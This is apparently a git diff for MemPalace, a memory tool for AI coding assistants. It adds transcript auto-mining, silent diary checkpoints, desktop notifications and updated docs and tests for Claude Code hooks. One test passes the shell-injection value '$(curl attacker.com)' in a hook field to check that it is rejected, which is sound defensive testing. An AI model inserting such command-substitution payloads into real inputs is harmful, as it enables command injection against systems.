diff --git a/examples/HOOKS_TUTORIAL.md b/examples/HOOKS_TUTORIAL.md index 1b09467fd..3a34b81c2 100644 --- a/examples/HOOKS_TUTORIAL.md +++ b/examples/HOOKS_TUTORIAL.md @@ -25,4 +25,27 @@ Add this to your configuration file to enable automatic background saving: } ] } -} \ No newline at end of file +} +``` + +### 3. What changed (v3.1.0+) + +Both hooks now have **two-layer capture**: + +1. **Auto-mine**: Before blocking the AI, the hook runs the normalizer on the JSONL transcript and upserts chunks directly into the palace. This captures raw tool output (Bash results, search findings, build errors) that the AI would otherwise summarize away. + +2. **Updated reason messages**: The block reason now explicitly tells the AI to save tool output verbatim — not just topics and decisions. + +### 4. Backfill past conversations (one-time) + +The hooks capture conversations going forward, but you probably have months of past sessions. Run this once to mine them all: + +```bash +mempalace mine ~/.claude/projects/ --mode convos +``` + +### 5. Configuration + +- **`SAVE_INTERVAL=15`** — How many human messages between saves +- **`MEMPALACE_PYTHON`** — Python interpreter with mempalace + chromadb. Auto-detects: env var → repo venv → system python3 +- **`MEMPAL_DIR`** — Optional directory for auto-ingest via `mempalace mine` \ No newline at end of file diff --git a/hooks/README.md b/hooks/README.md index 586d66bbf..7794527dd 100644 --- a/hooks/README.md +++ b/hooks/README.md @@ -6,10 +6,10 @@ These hook scripts make MemPalace save automatically. No manual "save" commands | Hook | When It Fires | What Happens | |------|--------------|-------------| -| **Save Hook** | Every 15 human messages | Blocks the AI, tells it to save key topics/decisions/quotes to the palace | -| **PreCompact Hook** | Right before context compaction | Emergency save — forces the AI to save EVERYTHING before losing context | +| **Save Hook** | Every 15 human messages | Auto-mines transcript (tool output included), then blocks the AI to save topics/decisions/quotes | +| **PreCompact Hook** | Right before context compaction | Auto-mines transcript, then emergency save — forces the AI to save EVERYTHING before losing context | -The AI does the actual filing — it knows the conversation context, so it classifies memories into the right wings/halls/closets. The hooks just tell it WHEN to save. +**Two-layer capture:** Hooks auto-mine the JSONL transcript directly into the palace (capturing raw tool output — Bash results, search findings, build errors). They also block the AI with a reason message telling it to save verbatim tool output and key context. Belt and suspenders — tool output gets stored even if the AI summarizes instead of quoting. ## Install — Claude Code @@ -68,6 +68,7 @@ Edit `mempal_save_hook.sh` to change: - **`SAVE_INTERVAL=15`** — How many human messages between saves. Lower = more frequent saves, higher = less interruption. - **`STATE_DIR`** — Where hook state is stored (defaults to `~/.mempalace/hook_state/`) - **`MEMPAL_DIR`** — Optional. Set to a conversations directory to auto-run `mempalace mine ` on each save trigger. Leave blank (default) to let the AI handle saving via the block reason message. +- **`MEMPALACE_PYTHON`** — Optional env var. Python interpreter with mempalace + chromadb installed. Auto-detects: `MEMPALACE_PYTHON` env var → repo `venv/bin/python3` → system `python3`. Set this if your venv is in a non-standard location. ### mempalace CLI @@ -91,15 +92,19 @@ User sends message → AI responds → Claude Code fires Stop hook ↓ ┌─── < 15 since last save ──→ echo "{}" (let AI stop) │ - └─── ≥ 15 since last save ──→ {"decision": "block", "reason": "save..."} - ↓ - AI saves to palace - ↓ - AI tries to stop again - ↓ - stop_hook_active = true - ↓ - Hook sees flag → echo "{}" (let it through) + └─── ≥ 15 since last save + ↓ + Auto-mine transcript → palace (tool output captured) + ↓ + {"decision": "block", "reason": "save tool output verbatim..."} + ↓ + AI saves to palace (topics, decisions, quotes) + ↓ + AI tries to stop again + ↓ + stop_hook_active = true + ↓ + Hook sees flag → echo "{}" (let it through) ``` The `stop_hook_active` flag prevents infinite loops: block once → AI saves → tries to stop → flag is true → we let it through. @@ -109,14 +114,18 @@ The `stop_hook_active` flag prevents infinite loops: block once → AI saves → ``` Context window getting full → Claude Code fires PreCompact ↓ - Hook ALWAYS blocks + Find transcript (from input or session_id lookup) + ↓ + Auto-mine transcript → palace (tool output captured) + ↓ + {"decision": "block", "reason": "save tool output verbatim..."} ↓ AI saves everything ↓ Compaction proceeds ``` -No counting needed — compaction always warrants a save. +No counting needed — compaction always warrants a save. The auto-mine captures raw tool output before the AI gets a chance to summarize it away. ## Debugging @@ -150,6 +159,23 @@ Resolution priority: `$MEMPAL_PYTHON` (if set and executable) → `$(command -v Note: the `mempalace mine` auto-ingest runs via the `mempalace` CLI, so that command also needs to be on the hook's `PATH`. Installing with `pipx install mempalace` or `uv tool install mempalace` puts it on a stable global location; otherwise extend the hook environment's `PATH` to include your venv's `bin/`. +## Backfill Past Conversations + +The hooks only capture conversations going forward. To mine **past** Claude Code sessions into your palace, run a one-time backfill: + +```bash +mempalace mine ~/.claude/projects/ --mode convos +``` + +This scans all JSONL transcripts from previous sessions and files them into the `conversations` wing. On a typical developer machine with months of history, this can yield 50K–200K drawers. + +For Codex CLI sessions: +```bash +mempalace mine ~/.codex/sessions/ --mode convos +``` + +This only needs to be done once — after that, the hooks auto-mine each session as you go. + ## Cost **Zero extra tokens.** The hooks notify the AI that saves happened in the background — the AI doesn't need to write anything in the chat. All filing is handled automatically. Previous versions asked the AI to write diary entries and drawer content in the chat window, which cost ~$1/session in retransmitted tokens. diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index 92184f552..6b34d8711 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -17,22 +17,54 @@ SAVE_INTERVAL = 15 STATE_DIR = Path.home() / ".mempalace" / "hook_state" + +def _mempalace_python() -> str: + """Return the python interpreter that has mempalace installed. + + When hooks are invoked by Claude Code, sys.executable may be the system + python which lacks chromadb and other deps. Resolution order: + 1. MEMPALACE_PYTHON env var (explicit override) + 2. Venv python from package install path + 3. Editable install: venv/ sibling to mempalace/ + 4. sys.executable fallback + """ + # Honor explicit override (used by shell hook wrappers) + env_python = os.environ.get("MEMPALACE_PYTHON", "") + if env_python and os.path.isfile(env_python) and os.access(env_python, os.X_OK): + return env_python + # This file lives at /lib/pythonX.Y/site-packages/mempalace/hooks_cli.py + # or /mempalace/hooks_cli.py (editable install). + venv_bin = Path(__file__).resolve().parents[3] / "bin" / "python" + if venv_bin.is_file(): + return str(venv_bin) + # Editable install: assumes project root has a venv/ sibling to mempalace/ + project_venv = Path(__file__).resolve().parents[1] / "venv" / "bin" / "python" + if project_venv.is_file(): + return str(project_venv) + return sys.executable + + +_RECENT_MSG_COUNT = 30 # how many recent user messages to summarize + STOP_BLOCK_REASON = ( "AUTO-SAVE checkpoint (MemPalace). Save this session's key content:\n" - "1. mempalace_diary_write — AAAK-compressed session summary\n" - "2. mempalace_add_drawer — verbatim quotes, decisions, code snippets\n" + "1. mempalace_diary_write — session summary (what was discussed, " + "key decisions, current state of work)\n" + "2. mempalace_add_drawer — verbatim quotes, decisions, code snippets " + "(place in appropriate wing and room)\n" "3. mempalace_kg_add — entity relationships (optional)\n" - "Do NOT write to Claude Code's native auto-memory (.md files). " - "Continue conversation after saving." + "For THIS save, use MemPalace MCP tools only (not auto-memory .md files). " + "Use verbatim quotes where possible. Continue conversation after saving." ) PRECOMPACT_BLOCK_REASON = ( "COMPACTION IMMINENT (MemPalace). Save ALL session content before context is lost:\n" - "1. mempalace_diary_write — thorough AAAK-compressed session summary\n" - "2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context\n" + "1. mempalace_diary_write — thorough session summary\n" + "2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context " + "(place each in appropriate wing and room)\n" "3. mempalace_kg_add — entity relationships (optional)\n" - "Be thorough \u2014 after compaction, detailed context will be lost. " - "Do NOT write to Claude Code's native auto-memory (.md files). " + "For THIS save, use MemPalace MCP tools only (not auto-memory .md files). " + "Be thorough — after compaction this is all that survives. " "Save everything to MemPalace, then allow compaction to proceed." ) @@ -237,6 +269,176 @@ def _mine_sync(transcript_path: str = ""): pass +def _desktop_toast(body: str, title: str = "MemPalace"): + """Send a desktop notification via notify-send. Fails silently.""" + try: + subprocess.Popen( + ["notify-send", "--app-name=MemPalace", "--icon=brain", title, body], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + except OSError: + pass + + +def _extract_recent_messages(transcript_path: str, count: int = _RECENT_MSG_COUNT) -> list[str]: + """Extract the last N user messages from a JSONL transcript.""" + path = Path(transcript_path).expanduser() + if not path.is_file(): + return [] + messages = [] + try: + with open(path, encoding="utf-8", errors="replace") as f: + for line in f: + try: + entry = json.loads(line) + # Claude Code format + msg = entry.get("message") or entry.get("event_message") or {} + if isinstance(msg, dict) and msg.get("role") == "user": + content = msg.get("content", "") + if isinstance(content, list): + content = " ".join( + b.get("text", "") for b in content if isinstance(b, dict) + ) + if not isinstance(content, str) or not content.strip(): + continue + if "" in content or "" in content: + continue + messages.append(content.strip()[:200]) + # Codex CLI format + elif entry.get("type") == "event_msg": + payload = entry.get("payload", {}) + if isinstance(payload, dict) and payload.get("type") == "user_message": + text = payload.get("message", "") + if isinstance(text, str) and text.strip(): + if "" not in text: + messages.append(text.strip()[:200]) + except (json.JSONDecodeError, AttributeError): + pass + except OSError: + return [] + return messages[-count:] + + +_THEME_STOPWORDS = frozenset( + "the a an and or but in on at to for of is it i me my you your we our " + "this that with from by was were be been are not no yes can do did dont " + "will would should could have has had lets let just also like so if then " + "ok okay sure yeah hey hi here there what when where how why which some " + "all any each every about into out up down over after before between " + "get got make made need want use used using check look see run try " + "know think right now still already really very much more most too " + "file files code one two new first last next thing things way well".split() +) + + +def _extract_themes(messages: list[str], max_themes: int = 3) -> list[str]: + """Pull 2-3 distinctive topic words from recent messages. + + Note: stopword list is English-only; non-English corpora will produce noisy themes. + """ + from collections import Counter + + words: Counter[str] = Counter() + for msg in messages: + for word in msg.lower().split(): + # Strip punctuation, keep words 4+ chars + clean = word.strip(".,;:!?\"'`()[]{}#<>/\\-_=+@$%^&*~") + if len(clean) >= 4 and clean not in _THEME_STOPWORDS and clean.isalpha(): + words[clean] += 1 + return [w for w, _ in words.most_common(max_themes)] + + +def _save_diary_direct( + transcript_path: str, + session_id: str, + toast: bool = False, +) -> dict: + """Write a diary checkpoint by calling the tool function directly (no MCP roundtrip). + + Returns {"count": N, "themes": [...]} on success, {"count": 0} on failure. + """ + messages = _extract_recent_messages(transcript_path) + if not messages: + _log("No recent messages to save") + return {"count": 0} + + themes = _extract_themes(messages) + + # Build a compressed diary entry from recent conversation + now = datetime.now() + topics = "|".join(m[:80] for m in messages[-10:]) + entry = ( + f"CHECKPOINT:{now.strftime('%Y-%m-%d')}|session:{session_id}" + f"|msgs:{len(messages)}|recent:{topics}" + ) + + try: + from .mcp_server import tool_diary_write + + result = tool_diary_write( + agent_name="session-hook", + entry=entry, + topic="checkpoint", + ) + if result.get("success"): + _log(f"Diary checkpoint saved: {result.get('entry_id', '?')}") + # Write state for ack tool to read + try: + ack_file = STATE_DIR / "last_checkpoint" + ack_file.write_text( + json.dumps({"msgs": len(messages), "ts": now.isoformat()}), + encoding="utf-8", + ) + except OSError: + pass + if toast: + _desktop_toast(f"Checkpoint saved \u2014 {len(messages)} messages archived") + return {"count": len(messages), "themes": themes} + else: + _log(f"Diary checkpoint failed: {result.get('error', 'unknown')}") + except Exception as e: + _log(f"Diary checkpoint error: {e}") + return {"count": 0} + + +def _ingest_transcript(transcript_path: str): + """Mine a Claude Code session transcript into the palace as a conversation.""" + path = Path(transcript_path).expanduser() + if not path.is_file() or path.stat().st_size < 100: + return + + from .config import MempalaceConfig + + try: + MempalaceConfig() # validate config loads + except Exception: + return + + try: + log_path = STATE_DIR / "hook.log" + STATE_DIR.mkdir(parents=True, exist_ok=True) + with open(log_path, "a") as log_f: + subprocess.Popen( + [ + _mempalace_python(), + "-m", + "mempalace", + "mine", + str(path.parent), + "--mode", + "convos", + "--wing", + "sessions", + ], + stdout=log_f, + stderr=log_f, + ) + _log(f"Transcript ingest started: {path.name}") + except OSError: + pass + + SUPPORTED_HARNESSES = {"claude-code", "codex"} @@ -282,18 +484,57 @@ def hook_stop(data: dict, harness: str): _log(f"Session {session_id}: {exchange_count} exchanges, {since_last} since last save") if since_last >= SAVE_INTERVAL and exchange_count > 0: - # Update last save point - try: - last_save_file.write_text(str(exchange_count), encoding="utf-8") - except OSError: - pass - _log(f"TRIGGERING SAVE at exchange {exchange_count}") - # Optional: auto-ingest if MEMPAL_DIR is set - _maybe_auto_ingest(transcript_path) + # Read hook settings from config + from .config import MempalaceConfig - _output({"decision": "block", "reason": STOP_BLOCK_REASON}) + try: + config = MempalaceConfig() + silent = config.hook_silent_save + toast = config.hook_desktop_toast + except Exception: + silent = True + toast = False + + if silent: + # Save directly via Python API — systemMessage renders in terminal + result = {"count": 0} + if transcript_path: + result = _save_diary_direct(transcript_path, session_id, toast=toast) + _ingest_transcript(transcript_path) + _maybe_auto_ingest(transcript_path) + # Only advance save marker after successful save + count = result.get("count", 0) + if count > 0: + try: + last_save_file.write_text(str(exchange_count), encoding="utf-8") + except OSError: + pass + themes = result.get("themes", []) + if themes: + tag = " \u2014 " + ", ".join(themes) + else: + tag = "" + _output( + { + "systemMessage": f"\u2726 {count} memories woven into the palace{tag}", + } + ) + else: + _output({}) + else: + # Legacy: block and ask Claude to save via MCP tools. + # Marker advances before confirmed save — best-effort; if Claude + # fails to save, the checkpoint is lost but won't retry endlessly. + try: + last_save_file.write_text(str(exchange_count), encoding="utf-8") + except OSError: + pass + if transcript_path: + _ingest_transcript(transcript_path) + _maybe_auto_ingest(transcript_path) + _output({"decision": "block", "reason": STOP_BLOCK_REASON}) else: _output({}) @@ -320,6 +561,10 @@ def hook_precompact(data: dict, harness: str): _log(f"PRE-COMPACT triggered for session {session_id}") + # Capture tool output via our normalize path before compaction loses it + if transcript_path: + _ingest_transcript(transcript_path) + # Mine synchronously so data lands before compaction proceeds _mine_sync(transcript_path) diff --git a/tests/test_hooks_cli.py b/tests/test_hooks_cli.py index 2113c2d48..024e4dc79 100644 --- a/tests/test_hooks_cli.py +++ b/tests/test_hooks_cli.py @@ -4,17 +4,18 @@ import os import subprocess from pathlib import Path -from unittest.mock import patch +from unittest.mock import MagicMock, patch import pytest from mempalace.hooks_cli import ( SAVE_INTERVAL, - STOP_BLOCK_REASON, _count_human_messages, + _extract_recent_messages, _get_mine_dir, _log, _maybe_auto_ingest, + _mempalace_python, _mine_already_running, _parse_harness_input, _sanitize_session_id, @@ -26,6 +27,21 @@ ) +# --- _mempalace_python --- + + +def test_mempalace_python_returns_string(): + result = _mempalace_python() + assert isinstance(result, str) + assert "python" in result + + +def test_mempalace_python_finds_venv(): + """Should resolve to a valid Python interpreter path.""" + result = _mempalace_python() + assert result and "python" in os.path.basename(result).lower() + + # --- _sanitize_session_id --- @@ -109,17 +125,57 @@ def test_count_malformed_json_lines(tmp_path): assert _count_human_messages(str(transcript)) == 1 +# --- _extract_recent_messages --- + + +def test_extract_recent_messages_basic(tmp_path): + transcript = tmp_path / "t.jsonl" + _write_transcript( + transcript, + [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(5)], + ) + msgs = _extract_recent_messages(str(transcript), count=3) + assert len(msgs) == 3 + assert msgs[0] == "msg 2" + assert msgs[2] == "msg 4" + + +def test_extract_recent_messages_skips_commands(tmp_path): + transcript = tmp_path / "t.jsonl" + _write_transcript( + transcript, + [ + {"message": {"role": "user", "content": "real msg"}}, + {"message": {"role": "user", "content": "status"}}, + {"message": {"role": "user", "content": "hook"}}, + ], + ) + msgs = _extract_recent_messages(str(transcript)) + assert len(msgs) == 1 + assert msgs[0] == "real msg" + + +def test_extract_recent_messages_missing_file(): + assert _extract_recent_messages("/nonexistent.jsonl") == [] + + # --- hook_stop --- def _capture_hook_output(hook_fn, data, harness="claude-code", state_dir=None): """Run a hook and capture its JSON stdout output.""" import io + from unittest.mock import PropertyMock buf = io.StringIO() patches = [patch("mempalace.hooks_cli._output", side_effect=lambda d: buf.write(json.dumps(d)))] if state_dir: patches.append(patch("mempalace.hooks_cli.STATE_DIR", state_dir)) + # Mock MempalaceConfig so tests don't depend on user's ~/.mempalace/config.json + mock_config = MagicMock() + type(mock_config).hook_silent_save = PropertyMock(return_value=True) + type(mock_config).hook_desktop_toast = PropertyMock(return_value=False) + patches.append(patch("mempalace.config.MempalaceConfig", return_value=mock_config)) with contextlib.ExitStack() as stack: for p in patches: stack.enter_context(p) @@ -161,19 +217,23 @@ def test_stop_hook_passthrough_below_interval(tmp_path): assert result == {} -def test_stop_hook_blocks_at_interval(tmp_path): +def test_stop_hook_saves_silently_at_interval(tmp_path): transcript = tmp_path / "t.jsonl" _write_transcript( transcript, [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)], ) - result = _capture_hook_output( - hook_stop, - {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}, - state_dir=tmp_path, - ) - assert result["decision"] == "block" - assert result["reason"] == STOP_BLOCK_REASON + save_result = {"count": 15, "themes": ["hooks", "notifications"]} + with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save: + result = _capture_hook_output( + hook_stop, + {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}, + state_dir=tmp_path, + ) + # Saves silently — systemMessage notification with themes, no block + assert result["systemMessage"].startswith("\u2726 15 memories woven into the palace") + assert "hooks" in result["systemMessage"] + mock_save.assert_called_once_with(str(transcript), "test", toast=False) def test_stop_hook_tracks_save_point(tmp_path): @@ -184,13 +244,17 @@ def test_stop_hook_tracks_save_point(tmp_path): ) data = {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)} - # First call blocks - result = _capture_hook_output(hook_stop, data, state_dir=tmp_path) - assert result["decision"] == "block" + # First call saves silently with systemMessage notification + save_result = {"count": 15, "themes": ["hooks"]} + with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result): + result = _capture_hook_output(hook_stop, data, state_dir=tmp_path) + assert "systemMessage" in result # Second call with same count passes through (already saved) - result = _capture_hook_output(hook_stop, data, state_dir=tmp_path) + with patch("mempalace.hooks_cli._save_diary_direct") as mock_save: + result = _capture_hook_output(hook_stop, data, state_dir=tmp_path) assert result == {} + mock_save.assert_not_called() # --- hook_session_start --- @@ -384,12 +448,15 @@ def test_stop_hook_oserror_on_last_save_read(tmp_path): ) # Write invalid content to last save file (tmp_path / "test_last_save").write_text("not_a_number") - result = _capture_hook_output( - hook_stop, - {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}, - state_dir=tmp_path, - ) - assert result["decision"] == "block" + save_result = {"count": 15, "themes": ["testing"]} + with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result): + result = _capture_hook_output( + hook_stop, + {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}, + state_dir=tmp_path, + ) + assert "systemMessage" in result + assert "15 memories" in result["systemMessage"] def test_stop_hook_oserror_on_write(tmp_path): @@ -403,18 +470,20 @@ def test_stop_hook_oserror_on_write(tmp_path): def bad_write_text(*args, **kwargs): raise OSError("disk full") + save_result = {"count": 15, "themes": []} with patch("mempalace.hooks_cli.STATE_DIR", tmp_path): - with patch.object(Path, "write_text", bad_write_text): - result = _capture_hook_output( - hook_stop, - { - "session_id": "test", - "stop_hook_active": False, - "transcript_path": str(transcript), - }, - state_dir=tmp_path, - ) - assert result["decision"] == "block" + with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result): + with patch.object(Path, "write_text", bad_write_text): + result = _capture_hook_output( + hook_stop, + { + "session_id": "test", + "stop_hook_active": False, + "transcript_path": str(transcript), + }, + state_dir=tmp_path, + ) + assert "systemMessage" in result # --- hook_precompact with MEMPAL_DIR --- @@ -603,22 +672,29 @@ def test_validate_transcript_accepts_platform_native_path(tmp_path): def test_stop_hook_rejects_injected_stop_hook_active(tmp_path): - """stop_hook_active with shell injection string should not cause issues.""" + """stop_hook_active with shell injection string should not cause pass-through. + + Verifies the injected value is not treated as truthy — the save path runs + instead of being short-circuited. Mocks _save_diary_direct so we can assert + it was invoked regardless of silent vs legacy save mode. + """ transcript = tmp_path / "t.jsonl" _write_transcript( transcript, [{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)], ) - # Simulate a malicious stop_hook_active value - result = _capture_hook_output( - hook_stop, - { - "session_id": "test", - "stop_hook_active": "$(curl attacker.com)", - "transcript_path": str(transcript), - }, - state_dir=tmp_path, - ) - # The injected value is not "true"/"1"/"yes", so the hook should NOT pass through - # It should count messages and block at the interval - assert result["decision"] == "block" + with patch( + "mempalace.hooks_cli._save_diary_direct", return_value={"count": 1, "themes": []} + ) as mock_save: + _capture_hook_output( + hook_stop, + { + "session_id": "test", + "stop_hook_active": "$(curl attacker.com)", + "transcript_path": str(transcript), + }, + state_dir=tmp_path, + ) + # The injected value is not "true"/"1"/"yes", so the hook should NOT pass through. + # Save must have been attempted. + assert mock_save.called